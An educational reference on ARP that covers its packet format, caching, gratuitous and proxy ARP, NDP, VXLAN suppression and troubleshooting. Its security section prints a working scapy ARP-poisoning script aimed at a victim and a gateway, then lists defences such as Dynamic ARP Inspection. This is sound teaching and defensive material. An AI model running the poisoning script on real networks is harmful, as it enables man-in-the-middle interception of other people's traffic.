ARP — Address Resolution Protocol

ARP (Address Resolution Protocol, RFC 826, 1982) solves a fundamental problem: IP addresses and MAC addresses exist in separate address spaces. The IP routing system determines where a packet needs to go next. ARP translates that IP address into the hardware address needed to actually deliver the packet on the local segment. Without ARP, IP over Ethernet wouldn't work.

ARP is remarkably simple — only 28 bytes of payload, two message types (Request and Reply), and no authentication whatsoever. That simplicity is both its strength (lightweight, fast, universally compatible) and its primary weakness (trivially exploitable by anyone on the local network).

ARP uses two message types: ARP Request (broadcast to everyone: "Who has this IP?") and ARP Reply (unicast back to the requester: "I do, and here is my MAC"). The exchange takes one round-trip — one broadcast, one unicast response.

Step by Step

Scenario: PC (192.168.1.50) wants to ping Gateway (192.168.1.1)

STEP 1 — Check ARP cache:
  OS looks up 192.168.1.1 in its ARP table.
  Not found → must send an ARP Request.

STEP 2 — ARP Request (broadcast):
  Ethernet frame:
    Dst MAC: FF:FF:FF:FF:FF:FF (broadcast — all devices receive this)
    Src MAC: AA:BB:CC:DD:EE:01 (PC's MAC)
    EtherType: 0x0806 (ARP)
  ARP payload:
    Operation: 0x0001 (Request)
    Sender MAC: AA:BB:CC:DD:EE:01
    Sender IP: 192.168.1.50
    Target MAC: 00:00:00:00:00:00 (unknown — this is what we want)
    Target IP: 192.168.1.1

  Every device on the local segment receives this frame.
  Only the gateway (192.168.1.1) responds.

STEP 3 — ARP Reply (unicast):
  Ethernet frame:
    Dst MAC: AA:BB:CC:DD:EE:01 (back to the PC, unicast)
    Src MAC: 11:22:33:44:55:66 (Gateway's MAC)
    EtherType: 0x0806
  ARP payload:
    Operation: 0x0002 (Reply)
    Sender MAC: 11:22:33:44:55:66 (Gateway's actual MAC)
    Sender IP: 192.168.1.1
    Target MAC: AA:BB:CC:DD:EE:01
    Target IP: 192.168.1.50

STEP 4 — Cache update:
  PC adds: 192.168.1.1 → 11:22:33:44:55:66 to ARP cache.
  PC can now send the ICMP ping packet inside an Ethernet frame addressed to Gateway's MAC.
  ARP cache entry will expire after ~300s (Linux) or ~600s (Windows).

ARP is one of the simplest protocols in the stack — just 28 bytes of payload (for IPv4/Ethernet). Understanding the exact format lets you read ARP in Wireshark captures and understand protocol subtleties like how ARP works over Wi-Fi vs Ethernet.

Gratuitous ARP

A gratuitous ARP is an ARP Request or Reply where the sender IP and target IP are the same — the host is announcing its own IP-to-MAC mapping without being asked. Used for:

1. IP conflict detection:
   Host sends Gratuitous ARP for its own IP before using it.
   If another host replies → IP conflict! (RFC 5227 / ARP probe/announcement)

2. Cluster failover:
   Active node fails → standby node takes over the virtual IP.
   Standby sends Gratuitous ARP: "VIP 10.0.0.50 is now at MAC AA:BB:CC:DD:EE:99"
   All hosts update their ARP cache → traffic flows to the new node immediately.

3. NIC/MAC change:
   Server NIC replaced → new MAC. Gratuitous ARP broadcasts new mapping.
   Without it: all other hosts cache the old MAC → traffic fails until ARP cache expires.

4. VM live migration:
   VM moves to new hypervisor. New hypervisor sends Gratuitous ARP for VM's IP.
   All switches learn new port association. All hosts update ARP cache.

$ arping -I eth0 -c 1 192.168.1.50   # Send Gratuitous ARP (Linux)
  (target IP = sender IP in the ARP payload)

The ARP cache (also called the ARP table or neighbor cache) stores recently resolved IP-to-MAC mappings. Without caching, every packet to every destination would require an ARP exchange — a broadcast before each and every frame. With caching, ARP is needed only when communicating with a new neighbor for the first time.

Cache Lifetimes and Entry Types

Linux ARP cache entries:
  REACHABLE: Confirmed working, ~30 seconds (gc_stale_time)
  STALE: Not confirmed recently but still usable; will refresh on next use
  DELAY: Stale, waiting for confirmation before use
  PROBE: Actively sending ARP requests to confirm reachability
  FAILED: ARP requests sent, no response received

$ ip neighbor show
192.168.1.1  dev eth0  lladdr 11:22:33:44:55:66  REACHABLE
192.168.1.50 dev eth0  lladdr aa:bb:cc:dd:ee:01  STALE

Windows ARP cache:
  Dynamic entries: expire after 2 minutes of no traffic (can be up to 10 min)
  Static entries: permanent until manually removed

$ arp -a                        # Windows/macOS: show ARP cache
$ ip neigh show                 # Linux: show neighbor cache (replaces arp -a)
$ ip neigh flush dev eth0       # Linux: flush all ARP entries on eth0
$ arp -d 192.168.1.1            # Delete specific ARP entry (macOS/Windows)

What Happens When ARP Cache Is Empty

When a host wants to send traffic to a local IP not in its ARP cache, it must send an ARP Request before the first packet can be delivered. This adds one round-trip latency (typically 1-5ms on a LAN) to the first packet. For applications that open many connections to different hosts, ARP resolution can be a meaningful overhead — especially in large data centers where any server may need to communicate with any other server.

A subtle but critical point: ARP is only used for hosts on the same local subnet. When you send a packet to a host on a different subnet, you don't ARP for the destination IP — you ARP for the gateway's IP. The packet's IP header still contains the final destination, but the Ethernet frame is addressed to the gateway.

ARP Decision Tree

You want to send to 8.8.8.8 (Google DNS, not on your subnet):

  1. Is 8.8.8.8 in my subnet (192.168.1.0/24)?
     → No. 8.8.8.8 is not in range 192.168.1.1-192.168.1.254.
  2. Look up next hop in routing table:
     → Default route: 0.0.0.0/0 via 192.168.1.1 (gateway)
  3. Is 192.168.1.1 in ARP cache?
     → No → send ARP Request for 192.168.1.1
     → Yes → use cached MAC
  4. Build Ethernet frame:
     IP header: Dst = 8.8.8.8 (final destination)
     Ethernet: Dst MAC = 11:22:33:44:55:66 (gateway's MAC)
  5. Gateway receives frame, strips Ethernet header.
     Reads IP destination: 8.8.8.8 → routes to internet.

You want to send to 192.168.1.100 (same subnet):

  1. Is 192.168.1.100 in my subnet? → Yes.
  2. Is 192.168.1.100 in ARP cache?
     → No → ARP Request for 192.168.1.100 (broadcast on local segment)
  3. 192.168.1.100 replies with its MAC.
  4. Build Ethernet frame directly to 192.168.1.100's MAC.
  5. Packet delivered directly without going through gateway.

Proxy ARP (RFC 1027, 1987) allows a router to respond to ARP requests on behalf of a host on a different subnet, making the remote host appear to be local. The router intercepts the broadcast and replies with its own MAC address — traffic sent to that MAC is then routed to the actual destination.

Normal ARP: Only 192.168.1.x hosts can reach 192.168.1.50 directly.

With Proxy ARP enabled on the router:
  Host 192.168.1.50 sends ARP for 10.0.0.5 (different subnet).
  Normally, this would fail (ARP only works on local subnet).
  Router intercepts: "I know how to reach 10.0.0.5"
  Router replies to ARP request with its own MAC address.
  Host sends frames to router's MAC → router routes to 10.0.0.5.

Use case: hosts without a default gateway configured can still reach
  remote hosts via Proxy ARP (legacy configuration, not recommended).

Modern use: VPN concentrators use Proxy ARP to make VPN clients
  appear local to the corporate network — the VPN gateway responds
  to ARP for VPN client IPs.

Risks:
  Proxy ARP enlarges broadcast domains, causes ARP cache to be full of
  router MACs, and can mask misconfigurations (hosts without default GW
  "work" via Proxy ARP but are poorly configured).
  Disable on modern networks: "no ip proxy-arp" on Cisco interfaces.

ARP has no authentication. Any host on the local segment can send an ARP Reply claiming to own any IP address. The receiving host will update its ARP cache without verification. This is called ARP spoofing or ARP poisoning and is one of the most common local network attacks.

ARP Spoofing Attack in Detail

Attack tool: arpspoof (dsniff), ettercap, scapy, bettercap

# Classic ARP poisoning with scapy:
from scapy.all import *

gateway_ip = "192.168.1.1"
gateway_mac = "11:22:33:44:55:66"
victim_ip = "192.168.1.50"
attacker_mac = "AA:AA:AA:AA:AA:AA"

# Poison victim: tell them the gateway's MAC is ours
arp_poison_victim = ARP(
    op=2,           # Reply
    pdst=victim_ip,
    hwdst="ff:ff:ff:ff:ff:ff",  # or victim's actual MAC
    psrc=gateway_ip,
    hwsrc=attacker_mac,
)
# Poison gateway: tell them the victim's MAC is ours
arp_poison_gateway = ARP(
    op=2,
    pdst=gateway_ip,
    hwdst=gateway_mac,
    psrc=victim_ip,
    hwsrc=attacker_mac,
)
# Must send continuously (every 2s) or ARP cache expires and real MACs are re-learned
while True:
    send(arp_poison_victim, verbose=0)
    send(arp_poison_gateway, verbose=0)
    time.sleep(2)

Defenses Against ARP Attacks

1. Dynamic ARP Inspection (DAI) — on managed switches:
   Switch intercepts all ARP frames before forwarding.
   Validates Src IP + Src MAC against DHCP snooping binding table.
   Invalid ARP → drop. Valid ARP → forward normally.
   Config (Cisco):
     ip dhcp snooping
     ip dhcp snooping vlan 10
     ip arp inspection vlan 10
     interface Gi0/1       ← access port (untrusted)
       ip arp inspection limit rate 100
     interface Gi0/24      ← uplink (trusted)
       ip arp inspection trust

2. Static ARP entries (for critical infrastructure):
   $ arp -s 192.168.1.1 11:22:33:44:55:66     # Linux
   $ netsh interface ipv4 set neighbors "Ethernet" 192.168.1.1 11-22-33-44-55-66  # Windows
   Attacker's ARP replies cannot overwrite static entries.
   Operationally difficult at scale — use DAI instead.

3. 802.1X port authentication:
   Unauthenticated devices cannot send frames at all → no ARP poisoning possible.
   Strongest defense, highest operational overhead.

4. VLANs:
   Segment network so attacker cannot reach victim's broadcast domain.
   ARP is link-local — VLANs are impermeable to ARP.

5. Encrypted transport (TLS/HTTPS):
   Even if attacker intercepts traffic via ARP poisoning, encrypted content is unreadable.
   HTTPS + HSTS + certificate pinning renders MITM attacks useless for web traffic.

IPv6 doesn't use ARP. Instead, it uses NDP (Neighbor Discovery Protocol, RFC 4861), which runs over ICMPv6. NDP is significantly more capable and secure than ARP — it was designed with 40 years of ARP's known weaknesses in mind.

ARP (IPv4) vs NDP (IPv6) comparison:

Function               ARP                    NDP
───────────────────────────────────────────────────────────────────────
Address resolution     ARP Request/Reply      ICMPv6 Neighbor Solicitation/Advertisement
Router discovery       ICMP Router Discovery  ICMPv6 Router Solicitation/Advertisement
IP config              DHCP (separate)        SLAAC (Stateless Address Autoconfiguration)
Duplicate detection    Gratuitous ARP (basic) Duplicate Address Detection (DAD, robust)
Prefix discovery       None (need static GW)  Router Advertisement carries prefix info
Redirect               ICMP Redirect          NDP Redirect
Security               None                   SEcure Neighbor Discovery (SEND, RFC 3971)

NDP uses multicast instead of broadcast:
  NDP Solicitation sent to ff02::1:ff/104 (solicited-node multicast)
  → Only hosts whose last 24 bits of IPv6 address match receive it
  → Much lower broadcast overhead vs ARP's broadcast to all hosts

$ ip -6 neighbor show   # Linux: show IPv6 neighbor cache
$ ip -6 neigh flush dev eth0  # Flush IPv6 neighbor cache

ARP Over Wi-Fi

Wi-Fi at Layer 2 looks identical to Ethernet from the ARP perspective — same MAC address format, same broadcast mechanism. The access point forwards the ARP broadcast to all associated clients. ARP probing and conflict detection work the same way. The only difference: Wi-Fi has higher latency and may have IGMP/ARP proxy optimizations to reduce broadcast overhead.

ARP in VLANs

ARP broadcasts are confined to a VLAN. A host in VLAN 10 cannot ARP for a host in VLAN 20 — even if they're on the same physical switch. To communicate across VLANs, traffic must be routed by a Layer 3 device (router or Layer 3 switch). The router has an interface in each VLAN and ARPs separately on each VLAN segment.

ARP in Virtual Environments

Hypervisor ARP handling:
  Virtual NICs have unique MAC addresses allocated by the hypervisor (OUI: 52:54:00 for KVM).
  ARP works normally between VMs on the same host (via virtual switch, no physical network).
  Live migration: VM moves to new host → new physical NIC. Hypervisor sends Gratuitous ARP.

  Issues:
  - "ARP storm": hundreds of VMs starting simultaneously all send Gratuitous ARPs
  - ARP suppression in overlay networks (VXLAN): tunnel gateway responds to ARP locally
    rather than flooding the physical underlay network

VXLAN ARP suppression:
  Traditional VXLAN floods ARP requests to ALL VXLAN tunnel endpoints (VTEPs).
  ARP suppression: VTEP caches IP→MAC mappings from control plane (BGP EVPN).
  When a VM ARPs, the local VTEP responds directly — no flood.
  Eliminates broadcast storms at VXLAN scale (100,000+ VMs).
  Cisco ACI, Cumulus VX, VMware NSX all use ARP suppression.

ARP failures cause connectivity issues that are confusing because ping fails but the physical connection is fine. Systematic ARP debugging gets to the answer quickly.

ARP Diagnostic Toolkit

# Check ARP cache
arp -a                          # Windows/macOS
ip neigh show                   # Linux (modern)
ip neigh show dev eth0          # Linux: specific interface

# Test ARP directly
arping -I eth0 192.168.1.1      # Send ARP request, show response
arping -I eth0 -c 3 192.168.1.1 # Send 3 ARP requests

# Capture ARP traffic in Wireshark
Capture filter: arp
Display filter: arp.opcode == 1   (requests only)
Display filter: arp.opcode == 2   (replies only)
Display filter: arp.src.hw_mac == aa:bb:cc:dd:ee:ff  (from specific MAC)

# View ARP in tcpdump
tcpdump -n -e arp                # ARP with MAC addresses
tcpdump -n -e 'arp and host 192.168.1.1'  # ARP for specific IP

# Common failure symptoms:
1. ping fails to local host → check ARP
   ip neigh show | grep 192.168.1.100
   → If "FAILED": ARP requests sent, no reply → host is down or unreachable
   → If missing: ARP not attempted → check routing table

2. Connectivity drops periodically (~5 min intervals)
   → ARP cache expiring, ARP renewal fails
   → Intermittent physical issue causing ARP packets to be lost

3. Traffic going to wrong host
   → ARP poisoning in progress: check for multiple IPs claiming same MAC
   arp -a | grep -v incomplete | awk '{print $4}' | sort | uniq -d
   → Duplicate MAC = ARP spoofing or misconfigured VMs

4. IP conflict warning
   → Two hosts respond to ARP for same IP
   → Run Gratuitous ARP and watch who else responds:
   arping -I eth0 -c 5 192.168.1.50 2>&1 | grep -i "Unicast reply"

In small networks (< 100 hosts), ARP is invisible — it works in microseconds, consumes negligible bandwidth, and never needs attention. In large cloud deployments (100,000+ VMs), ARP becomes a critical scalability bottleneck.

The Scale Problem

Small LAN: 50 hosts
  ARP broadcast reaches 50 hosts.
  50 devices each process the ARP request.
  One ARP per new destination — negligible overhead.

Cloud data center: 100,000 VMs in one flat L2 domain (bad design):
  One VM ARPs → 100,000 VMs wake up to process the broadcast.
  Each VM doing 100 connections/minute → 100,000 × 100 ARP requests/min
  = 10,000,000 ARP broadcasts per minute
  Every VM's CPU interrupted 10M times/minute just for ARP processing.
  Network saturated with ARP broadcast traffic.

Solutions for large scale:
  1. VLAN segmentation: keep broadcast domains < 500 hosts
  2. Overlay networks (VXLAN, GENEVE): ARP suppression via BGP EVPN
  3. Software-defined networking: controller responds to ARP queries directly
  4. IPv6: NDP uses solicited-node multicast (targets only relevant hosts)

ARP on Point-to-Point Links

On a /30 or /31 subnet (point-to-point link between two routers), ARP is still used. The two routers ARP for each other's IP on the link. Some point-to-point protocols (PPP, HDLC) don't use ARP at all — they assume the only host on the link is the connected device and hardcode the neighbor. On Ethernet point-to-point links, ARP still runs and is fine with just 2 hosts.

ARP for High Availability (Floating IP / VIP)

Load balancers and HA systems use virtual IPs (VIPs) — a shared IP that floats between physical servers. When the active node fails, the standby takes over the VIP and sends a Gratuitous ARP to update all ARP caches. Properly done, failover completes in under 1 second. Improperly done (ARP cache TTL too long, or Gratuitous ARP blocked by switch ACLs), failover takes minutes while ARP caches expire naturally.

ARP and VRRP/HSRP

VRRP (Virtual Router Redundancy Protocol, RFC 5798) and HSRP (Hot Standby Router Protocol, Cisco) allow multiple routers to share a virtual IP as the default gateway. One is "master" (or active), the others are standby. The virtual IP is associated with a virtual MAC address (e.g., VRRP uses00:00:5E:00:01:XX where XX is the VRRP group number). Hosts ARP for the VIP and receive the virtual MAC. When the master fails, the new master takes over the virtual MAC — no ARP update needed by hosts.